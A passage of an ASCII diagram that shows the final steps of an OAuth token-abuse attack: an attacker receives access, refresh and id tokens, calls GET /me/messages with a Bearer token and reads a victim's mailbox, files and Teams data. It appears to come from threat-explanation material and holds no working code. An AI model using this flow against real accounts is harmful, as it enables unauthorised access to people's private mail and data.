      │ (10) Response: access_token, refresh_token, id_token          │
      │                                                                │
      ├─────────────────────────────────────────────────────────────> │
      │ (11) GET /me/messages                                         │
      │ Authorization: Bearer <access_token>                          │
      │                                                                │
      │<──────────────────────────────────────────────────────────────┤
      │ (12) Response: Victim's emails, files, Teams data             │
      │                                                                │
      ✓ ATTACKER NOW HAS ACCESS TO VICTIM'S MAILBOX                   │
        (No malware, no phishing portal, no intercepted credentials)   │